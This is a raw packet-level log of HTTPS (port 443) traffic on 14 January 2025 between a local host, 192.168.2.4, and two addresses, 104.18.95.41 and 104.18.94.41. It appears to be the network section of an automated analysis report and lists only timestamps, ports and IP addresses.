Jan 14, 2025 20:04:26.041172028 CET	443	50058	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.041259050 CET	50058	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.041277885 CET	443	50058	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.041491032 CET	443	50058	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.041574955 CET	50058	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.048168898 CET	50058	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.048198938 CET	443	50058	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.051343918 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.051378012 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.052644968 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.052644968 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.052694082 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.514446974 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.514775991 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.514789104 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.515939951 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.516217947 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.516379118 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.516383886 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.516398907 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.570286989 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.673072100 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.673248053 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.673295021 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.673309088 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.673393965 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.673435926 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.673444986 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.673645020 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.673687935 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.673695087 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.673800945 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.673845053 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.673856974 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.674010038 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.674060106 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.674066067 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.726481915 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.726490021 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.759567022 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.759629011 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.759639025 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.759735107 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.759780884 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.759789944 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.759881020 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.759922028 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.759928942 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.760356903 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.760404110 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.760411024 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.760499001 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.760540962 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.760546923 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.761219978 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.761270046 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.761281967 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.761377096 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.761421919 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.761430025 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.761524916 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.761569023 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.761575937 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.762216091 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.762263060 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.762269974 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.762376070 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.762415886 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.762423038 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.762526035 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.762566090 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.762573004 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.763139963 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.763202906 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.763210058 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.804637909 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.846158981 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.846362114 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.846410990 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.846420050 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.846496105 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.846537113 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.846544027 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.846772909 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.846827984 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.846833944 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.846844912 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.846889019 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.846890926 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.846901894 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.846925974 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.846951962 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.846987963 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.846997976 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.847003937 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.847033978 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.847338915 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.847381115 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.847388029 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.847407103 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.847421885 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.847426891 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.847441912 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.847455978 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.847496033 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.847496986 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.847507954 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.847537994 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.848336935 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.848385096 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.848385096 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.848397970 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.848428011 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.848444939 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.848484993 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.848489046 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.848500967 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.848537922 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.848541021 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.848551989 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.848575115 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.848584890 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.933173895 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.933269978 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.933288097 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.933345079 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.933387041 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.933568954 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.933620930 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.933768988 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.933779955 CET	443	50059	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:26.933819056 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.933819056 CET	50059	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:26.937206984 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:26.937287092 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:26.937371016 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:26.937591076 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:26.937623978 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.081877947 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.081979036 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.082073927 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.082391024 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.082428932 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.399456024 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.400139093 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.400202990 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.400686026 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.401104927 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.401191950 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.401278973 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.443355083 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.549151897 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.549287081 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.549379110 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.549467087 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.549514055 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.549580097 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.549649000 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.549668074 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.549726009 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.549736977 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.549828053 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.549920082 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.549973011 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.549985886 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.550034046 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.553900003 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.556952000 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.558614969 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.558681965 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.559170961 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.562680960 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.562773943 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.562823057 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.562916040 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.562942982 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.609165907 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.609230042 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.635715008 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.635817051 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.635906935 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.635994911 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.636017084 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.636018038 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.636085987 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.636260986 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.636320114 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.636338949 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.636395931 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.636409044 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.636523962 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.636609077 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.636657000 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.636663914 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.636712074 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.636718035 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.637351036 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.637437105 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.637497902 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.637505054 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.637545109 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.637550116 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.637650967 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.638214111 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.638268948 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.638274908 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.638314962 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.638320923 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.638448954 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.638540030 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.638590097 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.638597965 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.638638020 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.638843060 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.685314894 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.685348988 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.713093042 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.713143110 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.713320017 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.713393927 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.713395119 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.713408947 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.713450909 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.713462114 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.717700005 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.717736006 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.717765093 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.717767954 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.717778921 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.717818975 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.717823982 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.717864990 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.717986107 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.722949028 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.723032951 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.723031044 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.723067045 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.723174095 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.723222017 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.723253965 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.723299026 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.723377943 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.723397017 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.723428011 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.723829985 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.723892927 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.723910093 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.723978996 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.723989964 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.724160910 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.724212885 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.724225998 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.724251986 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.724275112 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.724287033 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.724312067 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.725033998 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.725110054 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.725131035 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.725152016 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.725193977 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.725239992 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.725296974 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.725311041 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.725358963 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.726011038 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.726072073 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.726100922 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.726154089 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.726185083 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.726234913 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.726856947 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.726926088 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.726943970 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.727006912 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.727683067 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.727750063 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.762504101 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.803939104 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.804029942 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.804073095 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.804124117 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.804140091 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.804415941 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.804461002 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.804481030 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.804501057 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.804518938 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.804959059 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.804999113 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.805039883 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.805057049 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.805073977 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.805094957 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.805125952 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.805327892 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.805335045 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.805660009 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.805699110 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.805737019 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.805737972 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.805751085 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.805798054 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.805804014 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.805849075 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.805888891 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.805895090 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.805926085 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.806612968 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.806679964 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.806878090 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.806884050 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.810362101 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.810461998 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.810516119 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.810573101 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.810604095 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.810698032 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.810823917 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.810851097 CET	443	50060	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.810875893 CET	50060	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.846972942 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.847045898 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.847055912 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.894978046 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.895009041 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.895068884 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.895066023 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.895128012 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.895138979 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.895162106 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.895556927 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.895782948 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.895792007 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.895844936 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.895874023 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.896003008 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.896028996 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.896038055 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.896066904 CET	50061	443	192.168.2.4	104.18.95.41
